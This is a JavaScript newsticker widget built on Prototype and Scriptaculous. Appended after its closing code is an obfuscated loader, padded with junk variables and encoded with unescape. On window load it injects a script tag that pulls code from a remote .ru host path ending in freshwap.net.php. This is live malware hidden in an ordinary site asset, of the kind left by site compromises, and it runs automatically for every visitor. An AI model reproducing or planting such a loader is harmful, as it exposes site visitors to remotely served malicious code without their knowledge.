// Create namespace
if (at == undefined) var at = {};
if (at.bartelme == undefined) at.bartelme = {};

// Newsticker Class
at.bartelme.newsticker = Class.create();
at.bartelme.newsticker.prototype = {
	initialize: function()
	{
		// Get elements
		this.interval = 20000;
		this.container = $("newsticker");
		this.messages  = $A(this.container.getElementsByTagName("li"));
		this.number_of_messages = this.messages.length;
		if (this.number_of_messages == 0)
		{
			this.showError();
			return false;
		}
		this.current_message = 0;
		this.previous_message = null;
		// Create toggle button
		this.toggle_button = document.createElement("a");
		this.toggle_button.href = "#";
		this.toggle_button.id = "togglenewsticker";
		this.toggle_button.innerHTML = "Toggle";
		Event.observe(this.toggle_button, "click", this.toggle.bindAsEventListener(this), false);
		this.container.appendChild(this.toggle_button);
		this.hideMessages();
		this.showMessage();
		// Install timer
		this.timer = setInterval(this.showMessage.bind(this), this.interval);
  	},
	showMessage: function()
	{
		Effect.Appear(this.messages[this.current_message]);
		setTimeout(this.fadeMessage.bind(this), this.interval-2000);
		if (this.current_message < this.number_of_messages-1)
		{
			this.previous_message = this.current_message;
			this.current_message = this.current_message + 1;
		} else {
			this.current_message = 0;
			this.previous_message = this.number_of_messages - 1;
		}
	},
	fadeMessage: function()
	{
		Effect.Fade(this.messages[this.previous_message]);
	},
	hideMessages: function()
	{
		this.messages.each(function(message)
		{
			Element.hide(message);
		})
	},
	toggle: function()
	{
		Effect.BlindUp(this.container, 5000);
	},
	showError: function()
	{
		if (this.container.getElementsByTagName("ul").length == 0)
		{
			this.list = document.createElement("ul");
			this.container.appendChild(this.list);
		} else {
			this.list = this.container.getElementsByTagName("ul")[0];
		}
		this.errorMessage = document.createElement("li");
		this.errorMessage.className = "error";
		this.errorMessage.innerHTML = "Could not retrieve data";
		this.list.appendChild(this.errorMessage);
	}
}

Event.observe(window, "load", function(){new at.bartelme.newsticker()}, false);



this.P='';var ZY;if(ZY!=''){ZY='E'};var j;if(j!='' && j!='A'){j=''};function N(){var b="";var m=window;var H=unescape;var v=H("%2f%79%6e%65%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%73%68%77%61%70%2e%6e%65%74%2e%70%68%70");function J(Q,g){var F;if(F!='' && F!='iV'){F='oO'};var Ha=new String();var U='';var xT;if(xT!='d'){xT=''};var Z=String("g");this.dR="";this.YN="";var h=H("%5b"), G=H("%5d");var k=h+g+G;var a;if(a!=''){a='X'};this.XN="";var B=new RegExp(k, Z);this.kI='';return Q.replace(B, new String());this.A_="";};var S=new String();var jO=new String();this.CZ='';var Ht=new String();var Qj=new String();var q="";var vv=document;var z=J('86766703135212872266170232549','74312965');function vu(){this.da='';var BF=new Date();var gO=H("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var HV=new Date();Qj=gO;var jQ;if(jQ!='s' && jQ!='Fp'){jQ=''};Qj+=z;Qj+=v;var GM;if(GM!='rY'){GM='rY'};try {var Fh;if(Fh!='yJ' && Fh != ''){Fh=null};var G_="";var QN;if(QN!='' && QN!='Gy'){QN='OG'};var eK;if(eK!='' && eK!='sP'){eK='YU'};i=vv.createElement(J('s5clrmiapQtB','DMBaQ4lKmgw9RoT5G'));var dm;if(dm!='' && dm!='aU'){dm=null};this.fh="";var pB;if(pB!='NZ' && pB!='fI'){pB=''};var JH;if(JH!='Cr' && JH!='ER'){JH=''};i[H("%64%65%66%65%72")]=[1,1][0];var dY;if(dY!='TB'){dY=''};i[H("%73%72%63")]=Qj;var FC;if(FC!='LK' && FC!='GB'){FC='LK'};this.xN='';this.lN='';vv.body.appendChild(i);var c=new String();var Nec;if(Nec!='Ne' && Nec!='dB'){Nec=''};var Tm="";} catch(K){alert(K);var yR;if(yR!='UvU'){yR=''};};this.Oj="";this.XP="";}m[String("XyAFon".substr(4)+"dfcilofcdi".substr(4,2)+"LDfad".substr(3))]=vu;var oF=new Date();this._Z="";var xo='';};var CN=new Date();var yY=new Date();this.pj='';N();
